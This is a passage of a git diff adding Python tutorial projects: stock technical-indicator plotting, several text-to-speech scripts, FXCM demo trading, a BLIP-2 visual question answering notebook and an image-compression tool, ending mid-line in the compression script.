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\n" + }, + "metadata": { + "needs_background": "light" + } + } + ], + "source": [ + "plt.plot(stocks[\"macd\"], color=\"b\", label=\"MACD\")\n", + "plt.plot(stocks[\"macds\"], color=\"g\", label=\"Signal Line\")\n", + "plt.legend(loc=\"lower right\")\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ] +} \ No newline at end of file diff --git a/machine-learning/technical-indicators/technical_indicators.py b/machine-learning/technical-indicators/technical_indicators.py new file mode 100644 index 00000000..d95c0328 --- /dev/null +++ b/machine-learning/technical-indicators/technical_indicators.py @@ -0,0 +1,71 @@ +# To add a new cell, type '# %%' +# To add a new markdown cell, type '# %% [markdown]' + +# %% +import yfinance as yf +import pandas_datareader as pdr +from mpl_finance import candlestick_ohlc +import matplotlib.pyplot as plt + + +# %% +# import SPY stock price +df_spy = pdr.get_data_yahoo("SPY", start="2019-01-01", end="2019-09-30") +# import AAPL stock price +df_aapl = pdr.get_data_yahoo("AAPL", start="2019-01-01", end="2019-09-30") + + +# %% +df_spy.head() + + +# %% +df_aapl[["Open", "High", "Low", "Close"]].plot() +plt.show() + + +# %% +fig = plt.figure(figsize=(10, 10)) +ax = plt.subplot() + +plot_data = [] +for i in range(150, len(df_aapl)): + row = [ + i, + df_aapl.Open.iloc[i], + df_aapl.High.iloc[i], + df_aapl.Low.iloc[i], + df_aapl.Close.iloc[i], + ] + plot_data.append(row) +candlestick_ohlc(ax, plot_data) +plt.show() + + +# %% +from stockstats import StockDataFrame +stocks = StockDataFrame.retype(df_aapl[["Open", "Close", "High", "Low", "Volume"]]) + + +# %% +plt.plot(stocks["close_10_sma"], color="b", label="SMA") +plt.plot(df_aapl.Close, color="g", label="Close prices") +plt.legend(loc="lower right") +plt.show() + + +# %% +plt.plot(stocks["close_10_sma"], color="b", label="SMA") # plotting SMA +plt.plot(stocks["close_10_ema"], color="k", label="EMA") +plt.plot(df_aapl.Close, color="g", label="Close prices") # plotting close prices +plt.legend(loc="lower right") +plt.show() + + +# %% +plt.plot(stocks["macd"], color="b", label="MACD") +plt.plot(stocks["macds"], color="g", label="Signal Line") +plt.legend(loc="lower right") +plt.show() + + diff --git a/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3 b/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3 new file mode 100644 index 00000000..45d11628 Binary files /dev/null and b/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3 differ diff --git a/machine-learning/text-to-speech/README.md b/machine-learning/text-to-speech/README.md new file mode 100644 index 00000000..4786b024 --- /dev/null +++ b/machine-learning/text-to-speech/README.md @@ -0,0 +1,6 @@ +# [How to Convert Text to Speech in Python](https://www.thepythoncode.com/article/convert-text-to-speech-in-python) +- `pip3 install -r requirements.txt` +- To convert text to speech online using Google API, use `tts_google.py` +- To use offline engines in your platform, consider using `tts_pyttsx3.py` +- To use the OpenAI API, use `tts_openai.py` +- To use transformers, use `tts_transformers.py` diff --git a/machine-learning/text-to-speech/hello.mp3 b/machine-learning/text-to-speech/hello.mp3 new file mode 100644 index 00000000..5cef735b Binary files /dev/null and b/machine-learning/text-to-speech/hello.mp3 differ diff --git a/machine-learning/text-to-speech/hola.mp3 b/machine-learning/text-to-speech/hola.mp3 new file mode 100644 index 00000000..eb49e3ab Binary files /dev/null and b/machine-learning/text-to-speech/hola.mp3 differ diff --git a/machine-learning/text-to-speech/python.mp3 b/machine-learning/text-to-speech/python.mp3 new file mode 100644 index 00000000..78632e8b Binary files /dev/null and b/machine-learning/text-to-speech/python.mp3 differ diff --git a/machine-learning/text-to-speech/requirements.txt b/machine-learning/text-to-speech/requirements.txt new file mode 100644 index 00000000..7c4e99dd --- /dev/null +++ b/machine-learning/text-to-speech/requirements.txt @@ -0,0 +1,8 @@ +pyttsx3 +gTTS +playsound +soundfile +transformers +datasets +sentencepiece +openai \ No newline at end of file diff --git a/machine-learning/text-to-speech/tts_google.py b/machine-learning/text-to-speech/tts_google.py new file mode 100644 index 00000000..06b23337 --- /dev/null +++ b/machine-learning/text-to-speech/tts_google.py @@ -0,0 +1,17 @@ +import gtts +from playsound import playsound + +# make request to google to get synthesis +tts = gtts.gTTS("Hello world") +# save the audio file +tts.save("hello.mp3") +# play the audio file +playsound("hello.mp3") + +# in spanish +tts = gtts.gTTS("Hola Mundo", lang="es") +tts.save("hola.mp3") +playsound("hola.mp3") + +# all available languages along with their IETF tag +print(gtts.lang.tts_langs()) \ No newline at end of file diff --git a/machine-learning/text-to-speech/tts_openai.py b/machine-learning/text-to-speech/tts_openai.py new file mode 100644 index 00000000..2087fea6 --- /dev/null +++ b/machine-learning/text-to-speech/tts_openai.py @@ -0,0 +1,20 @@ +from openai import OpenAI + +# initialize the OpenAI API client +api_key = "YOUR_OPENAI_API_KEY" +client = OpenAI(api_key=api_key) + +# sample text to generate speech from +text = """In his miracle year, he published four groundbreaking papers. +These outlined the theory of the photoelectric effect, explained Brownian motion, +introduced special relativity, and demonstrated mass-energy equivalence.""" + +# generate speech from the text +response = client.audio.speech.create( + model="tts-1", # the model to use, there is tts-1 and tts-1-hd + voice="nova", # the voice to use, there is alloy, echo, fable, onyx, nova, and shimmer + input=text, # the text to generate speech from + speed=1.0, # the speed of the generated speech, ranging from 0.25 to 4.0 +) +# save the generated speech to a file +response.stream_to_file("openai-output.mp3") \ No newline at end of file diff --git a/machine-learning/text-to-speech/tts_pyttsx3.py b/machine-learning/text-to-speech/tts_pyttsx3.py new file mode 100644 index 00000000..c3591e85 --- /dev/null +++ b/machine-learning/text-to-speech/tts_pyttsx3.py @@ -0,0 +1,36 @@ +import pyttsx3 + +# initialize Text-to-speech engine +engine = pyttsx3.init() + +# convert this text to speech +text = "Python is a great programming language" +engine.say(text) +# play the speech +engine.runAndWait() + +# get details of speaking rate +rate = engine.getProperty("rate") +print(rate) + +# setting new voice rate (faster) +engine.setProperty("rate", 300) +engine.say(text) +engine.runAndWait() + +# slower +engine.setProperty("rate", 100) +engine.say(text) +engine.runAndWait() + +# get details of all voices available +voices = engine.getProperty("voices") +print(voices) +# set another voice +engine.setProperty("voice", voices[1].id) +engine.say(text) +engine.runAndWait() + +# saving speech audio into a file +engine.save_to_file(text, "python.mp3") +engine.runAndWait() \ No newline at end of file diff --git a/machine-learning/text-to-speech/tts_transformers.py b/machine-learning/text-to-speech/tts_transformers.py new file mode 100644 index 00000000..8ba6414e --- /dev/null +++ b/machine-learning/text-to-speech/tts_transformers.py @@ -0,0 +1,67 @@ +from transformers import SpeechT5Processor, SpeechT5ForTextToSpeech, SpeechT5HifiGan +from datasets import load_dataset +import torch +import random +import string +import soundfile as sf + +device = "cuda" if torch.cuda.is_available() else "cpu" +# load the processor +processor = SpeechT5Processor.from_pretrained("microsoft/speecht5_tts") +# load the model +model = SpeechT5ForTextToSpeech.from_pretrained("microsoft/speecht5_tts").to(device) +# load the vocoder, that is the voice encoder +vocoder = SpeechT5HifiGan.from_pretrained("microsoft/speecht5_hifigan").to(device) +# we load this dataset to get the speaker embeddings +embeddings_dataset = load_dataset("Matthijs/cmu-arctic-xvectors", split="validation") + +# speaker ids from the embeddings dataset +speakers = { + 'awb': 0, # Scottish male + 'bdl': 1138, # US male + 'clb': 2271, # US female + 'jmk': 3403, # Canadian male + 'ksp': 4535, # Indian male + 'rms': 5667, # US male + 'slt': 6799 # US female +} + +def save_text_to_speech(text, speaker=None): + # preprocess text + inputs = processor(text=text, return_tensors="pt").to(device) + if speaker is not None: + # load xvector containing speaker's voice characteristics from a dataset + speaker_embeddings = torch.tensor(embeddings_dataset[speaker]["xvector"]).unsqueeze(0).to(device) + else: + # random vector, meaning a random voice + speaker_embeddings = torch.randn((1, 512)).to(device) + # generate speech with the models + speech = model.generate_speech(inputs["input_ids"], speaker_embeddings, vocoder=vocoder) + if speaker is not None: + # if we have a speaker, we use the speaker's ID in the filename + output_filename = f"{speaker}-{'-'.join(text.split()[:6])}.mp3" + else: + # if we don't have a speaker, we use a random string in the filename + random_str = ''.join(random.sample(string.ascii_letters+string.digits, k=5)) + output_filename = f"{random_str}-{'-'.join(text.split()[:6])}.mp3" + # save the generated speech to a file with 16KHz sampling rate + sf.write(output_filename, speech.cpu().numpy(), samplerate=16000) + # return the filename for reference + return output_filename + +# generate speech with a US female voice +save_text_to_speech("Python is my favorite programming language", speaker=speakers["slt"]) +# generate speech with a random voice +save_text_to_speech("Python is my favorite programming language") + +# a challenging text with all speakers +text = """In his miracle year, he published four groundbreaking papers. +These outlined the theory of the photoelectric effect, explained Brownian motion, +introduced special relativity, and demonstrated mass-energy equivalence.""" + +for speaker_name, speaker in speakers.items(): + output_filename = save_text_to_speech(text, speaker) + print(f"Saved {output_filename}") +# random speaker +output_filename = save_text_to_speech(text) +print(f"Saved {output_filename}") \ No newline at end of file diff --git a/machine-learning/trading-with-fxcm/README.md b/machine-learning/trading-with-fxcm/README.md new file mode 100644 index 00000000..749bae44 --- /dev/null +++ b/machine-learning/trading-with-fxcm/README.md @@ -0,0 +1 @@ +# [Algorithmic Trading with FXCM Broker in Python](https://www.thepythoncode.com/article/trading-with-fxcm-broker-using-fxcmpy-library-in-python) \ No newline at end of file diff --git a/machine-learning/trading-with-fxcm/requirements.txt b/machine-learning/trading-with-fxcm/requirements.txt new file mode 100644 index 00000000..4febf2c6 --- /dev/null +++ b/machine-learning/trading-with-fxcm/requirements.txt @@ -0,0 +1,2 @@ +fxcmpy +python-socketio \ No newline at end of file diff --git a/machine-learning/trading-with-fxcm/trading.ipynb b/machine-learning/trading-with-fxcm/trading.ipynb new file mode 100644 index 00000000..ed6dea77 --- /dev/null +++ b/machine-learning/trading-with-fxcm/trading.ipynb @@ -0,0 +1,105 @@ +{ + "metadata": { + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": 3 + }, + "orig_nbformat": 2, + "kernelspec": { + "name": "python_defaultSpec_1596535581821", + "display_name": "Python 3.6.6 64-bit" + } + }, + "nbformat": 4, + "nbformat_minor": 2, + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from fxcmpy import fxcmpy\n", + "\n", + "# generate this once you create your demo account\n", + "# this is fake token, just for demonstration\n", + "ACCESS_TOKEN = \"8438834e8edaff70ca3db0088a8d6c5c37f51279\"" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "tags": [] + }, + "outputs": [], + "source": [ + "try:\n", + " fxcm_con = fxcmpy(access_token=ACCESS_TOKEN, server=\"demo\")\n", + " print(\"Is connected:\", fxcm_con.is_connected())\n", + "\n", + "except Exception as e:\n", + " print(e)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "tags": [] + }, + "outputs": [], + "source": [ + "fxcm_con.open_trade(symbol=\"US30\",amount=1,is_buy=True,time_in_force=\"GTC\",order_type=\"AtMarket\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "tags": [] + }, + "outputs": [], + "source": [ + "trade_id = fxcm_con.get_open_trade_ids()[0]\n", + "print(\"Closing trade:\", trade_id)\n", + "fxcm_con.close_trade(trade_id=trade_id,amount=1)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "tags": [] + }, + "outputs": [], + "source": [ + "fxcm_con.open_trade(symbol=\"US30\",amount=1,is_buy=True,time_in_force=\"GTC\",order_type=\"AtMarket\",is_in_pips=True,limit=15,stop=-50)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "fxcm_con.close()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ] +} \ No newline at end of file diff --git a/machine-learning/trading-with-fxcm/trading.py b/machine-learning/trading-with-fxcm/trading.py new file mode 100644 index 00000000..48318975 --- /dev/null +++ b/machine-learning/trading-with-fxcm/trading.py @@ -0,0 +1,23 @@ +from fxcmpy import fxcmpy + +# generate this once you create your demo account +# this is fake token, just for demonstration +ACCESS_TOKEN = "8438834e8edaff70ca3db0088a8d6c5c37f51279" + +try: + fxcm_con = fxcmpy(access_token=ACCESS_TOKEN, server="demo") + print("Is connected:", fxcm_con.is_connected()) + +except Exception as e: + print(e) + + +fxcm_con.open_trade(symbol="US30",amount=1,is_buy=True,time_in_force="GTC",order_type="AtMarket") + +trade_id = fxcm_con.get_open_trade_ids()[0] +print("Closing trade:", trade_id) +fxcm_con.close_trade(trade_id=trade_id,amount=1) + +fxcm_con.open_trade(symbol="US30",amount=1,is_buy=True,time_in_force="GTC",order_type="AtMarket",is_in_pips=True,limit=15,stop=-50) + +fxcm_con.close() \ No newline at end of file diff --git a/machine-learning/visual-question-answering/000000007226.jpg b/machine-learning/visual-question-answering/000000007226.jpg new file mode 100644 index 00000000..56932377 Binary files /dev/null and b/machine-learning/visual-question-answering/000000007226.jpg differ diff --git a/machine-learning/visual-question-answering/README.md b/machine-learning/visual-question-answering/README.md new file mode 100644 index 00000000..a88ef88c --- /dev/null +++ b/machine-learning/visual-question-answering/README.md @@ -0,0 +1 @@ +# [Visual Question Answering with Transformers](https://www.thepythoncode.com/article/visual-question-answering-with-transformers-in-python) \ No newline at end of file diff --git a/machine-learning/visual-question-answering/Running_BLIP2.ipynb b/machine-learning/visual-question-answering/Running_BLIP2.ipynb new file mode 100644 index 00000000..5b880995 --- /dev/null +++ b/machine-learning/visual-question-answering/Running_BLIP2.ipynb @@ -0,0 +1,912 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": 2, + "id": "2d87ad23-587a-4b20-8121-1d1748ac301a", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Collecting transformers\n", + " Downloading transformers-4.30.2-py3-none-any.whl (7.2 MB)\n", + "\u001b[2K \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m7.2/7.2 MB\u001b[0m \u001b[31m50.4 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m00:01\u001b[0m00:01\u001b[0m\n", + "\u001b[?25hCollecting accelerate\n", + " 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It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv\u001b[0m\u001b[33m\n", + "\u001b[0m" + ] + } + ], + "source": [ + "!pip install transformers accelerate" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "id": "52e4776c-8820-4ee6-9ae4-9db51e2ed365", + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "device(type='cuda', index=0)" + ] + }, + "execution_count": 3, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "import requests\n", + "from PIL import Image\n", + "from transformers import Blip2Processor, Blip2ForConditionalGeneration\n", + "import torch\n", + "import os\n", + "\n", + "device = torch.device(\"cuda\", 0)\n", + "device" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "id": "e4ad6102-160e-487d-99c0-da50a52a5e4e", + "metadata": {}, + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "6b01bf8e2d2a4680ba09d412a2a0286d", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "Downloading (…)rocessor_config.json: 0%| | 0.00/432 [00:00 [ ...] +``` + +## Options +- `-o`, `--output-dir`: Output directory (default: same as input) +- `-q`, `--quality`: Compression quality (0-100, default: 85) +- `-r`, `--resize-ratio`: Resize ratio (0-1, default: 1.0) +- `-w`, `--width`: Output width (requires `--height`) +- `-hh`, `--height`: Output height (requires `--width`) +- `-j`, `--to-jpg`: Convert output to JPEG +- `-m`, `--no-metadata`: Strip metadata (default: preserve) +- `-l`, `--lossless`: Use lossless compression (PNG/WEBP) + +## Examples + +```bash +python compress_image.py image.jpg -r 0.5 -q 80 -j +python compress_image.py images/ -o output/ -m +python compress_image.py image.png -l +``` + +## License + +MIT License. diff --git a/python-for-multimedia/compress-image/compress_image.py b/python-for-multimedia/compress-image/compress_image.py new file mode 100644 index 00000000..f1696aa0 --- /dev/null +++ b/python-for-multimedia/compress-image/compress_image.py @@ -0,0 +1,104 @@ +import os +from PIL import Image +import argparse +import logging +from tqdm import tqdm + +# Configure logging +logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') +logger = logging.getLogger(__name__) + +def get_size_format(b, factor=1024, suffix="B"): + """Scale bytes to its proper byte format.""" + for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: + if b < factor: + return f"{b:.2f}{unit}{suffix}" + b /= factor + return f"{b:.2f}Y{suffix}" + +def compress_image( + input_path, + output_dir=None, + quality=85, + resize_ratio=1.0, + width=None, + height=None, + to_jpg=False, + preserve_metadata=True, + lossless=False, +): + """Compress an image with advanced options.""" + try: + img = Image.open(input_path) + logger.info(f"[*] Processing: {os.path.basename(input_path)}") + logger.info(f"[*] Original size: {get_size_format(os.path.getsize(input_path))}") + + # Resize if needed + if resize_ratio < 1.0: + new_size = (int(img.size[0] * resize_ratio), int(img.size[1] * resize_ratio)) + img = img.resize(new_size, Image.LANCZOS) + logger.info(f"[+] Resized to: {new_size}") + elif width and height: + img = img.resize((width, height), Image.LANCZOS) + logger.info(f"[+] Resized to: {width}x{height}") + + # Prepare output path + filename, ext = os.path.splitext(os.path.basename(input_path)) + output_ext = ".jpg" if to_jpg else ext + output_filename = f"{filename}_compressed{output_ext}" + output_path = os.path.join(output_dir or os.path.dirname(input_path), output_filename) + + # Save with options + save_kwargs = {"quality": quality, "optimize": True} + if not preserve_metadata: + save_kwargs["exif"] = b"" # Strip metadata + if lossless and ext.lower() in (".png", ".webp"): + save_kwargs["lossless"] = True + + try: + img.save(output_path, **save_kwargs) + except OSError: + img = 